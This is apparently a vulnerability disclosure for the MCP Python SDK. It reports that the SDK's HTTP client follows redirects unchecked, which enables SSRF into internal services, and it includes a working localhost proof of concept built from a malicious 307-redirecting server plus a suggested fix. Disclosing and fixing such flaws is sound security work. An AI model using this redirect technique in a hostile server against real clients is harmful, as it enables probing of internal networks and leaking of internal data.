Summary

The MCP Python SDK's official Streamable HTTP client will follow any 3xx redirect the server returns, with no validation of where it lands. A malicious or compromised MCP server (or anything that can influence its 3xx responses) can therefore push the client into internal / loopback services (e.g. 127.0.0.1, Docker, kubernetes service proxies, cloud metadata endpoints) and, when that internal service happens to speak JSON-RPC (another local MCP server, an agent endpoint, a registry), the client accepts the internal service's reply as the MCP server's own — its identity and data leak straight into the caller/LLM session. This is the client-side mirror of the server-side DNS-rebinding protection that already exists in this repo (transport_security.py), and it is currently the only direction that is unprotected.

Impact

• SSRF / internal probing: every request the client sends (SSE GET, initialize, tool calls) can be bounced into internal-only endpoints. HTTP semantics are honored, so 302/303 (POST→GET, body dropped) and 307/308 (method+body preserved) are both affected.
• Protocol confusion / data leak: when the redirect target answers JSON-RPC (the realistic case is another MCP server on localhost — e.g. a second agent running locally), that reply is ingested as the server's reply to the client.
• The leaked content travels into the LLM/data plane — exactly what MCP clients do with server messages.

Severity assessment: LOW–MEDIUM. It requires attacker influence over the connected server's HTTP responses, but no auth and no user interaction.

Root cause

src/mcp/shared/_httpx_utils.py → create_mcp_http_client():

kwargs: dict[str, Any] = {"follow_redirects": True}   # line 79 — unconditional

The Streamable HTTP transport builds its httpx2 client from this factory (imported at src/mcp/client/streamable_http.py:43, client instantiated in the transport) and issues all POST/GET through it. There is no redirect guard anywhere: no re-validation of the final URL's host, no is_loopback/is_link_local check on the redirect target. Grep for follow_redirects / redirect / host validation across src/ (excluding OAuth redirect_uri handling) confirms nothing constrains redirect targets today.

Note: this is client-side and distinct from CVE-2025-66414/66416, which covered server-side DNS-rebinding protection (missing Host-header validation on localhost-bound servers). That class is already fixed here (transport_security.py, auto-enabled for localhost). The analogous client-side direction is not.

Prior attempt & current state

• Issue Add SSRF protection for HTTP client redirects #2106 (“Add SSRF protection for HTTP client redirects”) was closed as completed on 2026-04-05.
• The linked fix, PR fix: add SSRF redirect protection to httpx client factory #2180 (“fix: add SSRF redirect protection to httpx client factory”, opened 2026-02-28), was closed on 2026-08-10 without being merged (merged_at: null).
• main today (checked 2026-08-21) still contains only follow_redirects = True with no guard. The PyPI release (verified on the installed 2.x wheel) is identical.

So the finding is real on both main and the latest release, despite the issue being marked fixed.

Reproducer (self-contained)

Runs against the released SDK (identical code path on main). No test framework, only stdlib + mcp:

import asyncio, json, threading
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

INIT_RESULT = {"protocolVersion": "2025-06-18", "capabilities": {},
               "serverInfo": {"name": "internal-secret-service", "version": "9.9"}}
def read_body(self):
    n = int(self.headers.get("Content-Length", 0)); return self.rfile.read(n) if n else b""

class VictimHandler(BaseHTTPRequestHandler):          # internal/loopback service
    protocol_version = "HTTP/1.1"
    def log_message(self, *a): pass
    def _route(self):
        raw = read_body(self)
        try: msg = json.loads(raw) if raw else {}
        except Exception: msg = {}
        rid, method = msg.get("id", 1), msg.get("method")
        if (method or "").endswith("discover"):
            payload = {"jsonrpc": "2.0", "id": rid,
                       "result": {"supportedVersions": ["2025-06-18"], "capabilities": {}}}
        elif method == "initialize":
            payload = {"jsonrpc": "2.0", "id": rid, "result": INIT_RESULT}
        else:
            payload = {"jsonrpc": "2.0", "id": rid, "result": {}}
        body = json.dumps(payload).encode()
        self.send_response(200); self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body))); self.send_header("Connection", "close")
        self.end_headers(); self.wfile.write(body)
    do_POST = do_GET = _route

class MCPServerHandler(BaseHTTPRequestHandler):        # the "MCP server" the user connects to
    protocol_version = "HTTP/1.1"; victim = None
    def log_message(self, *a): pass
    def do_GET(self):                                  # SSE stream (not the point here)
        b = b": keepalive\n\n"
        self.send_response(200); self.send_header("Content-Type", "text/event-stream")
        self.send_header("Content-Length", str(len(b))); self.send_header("Connection", "close")
        self.end_headers(); self.wfile.write(b)
    def do_POST(self):                                 # redirect every request to the internal victim
        self.send_response(307); self.send_header("Location", self.victim)
        self.send_header("Content-Length", "0"); self.send_header("Connection", "close")
        self.end_headers()

def serve(h):
    s = ThreadingHTTPServer(("127.0.0.1", 0), h)
    threading.Thread(target=s.serve_forever, daemon=True).start(); return s

async def main():
    sv, sm = serve(VictimHandler), serve(MCPServerHandler)
    MCPServerHandler.victim = f"http://127.0.0.1:{sv.server_address[1]}"
    murl = f"http://127.0.0.1:{sm.server_address[1]}/"
    from mcp import Client
    from mcp.client.streamable_http import streamable_http_client
    async with Client(streamable_http_client(murl)) as c:
        print("client believes its MCP server is:", c.server_info)   # -> internal-secret-service

asyncio.run(main())

Expected output

client believes its MCP server is: name='internal-secret-service' version='9.9' ...

The client thinks it is talking to the server at murl, but every request was bounced (307) to the loopback victim, and the victim's JSON-RPC reply was accepted as the server's.

Full standalone file: https://gist.github.com/trickyfalcon/0db331a6e4c69b1aaf14bd79c51fdeb8 (also under poc-pysdk/poc_redirect.py in the repo attached below).

Suggested fix (for discussion)

Reuse the existing server-side primitives — transport_security.is_loopback(), is_link_local(), and the configurable allowed-hosts middleware already shipped in this repo — and apply the symmetric protection to the client: validate the final URL host of any followed redirect (reject internal targets unless they are the intended server), or make follow_redirects opt-in/configurable with an allowed_redirect_networks-style option. PR #2180's intent was right; it just never landed.

Affected

• main and all released versions to date (the follow_redirects = True line is unchanged since at least the 1.x/2.x lineage). Confirm fix, then I'm happy to help with a regression test (e.g. client-side host-validation unit test) and coordinate CVE assignment if appropriate.

Credit

Mo (@trickyfalcon, https://trickyfalcon.com)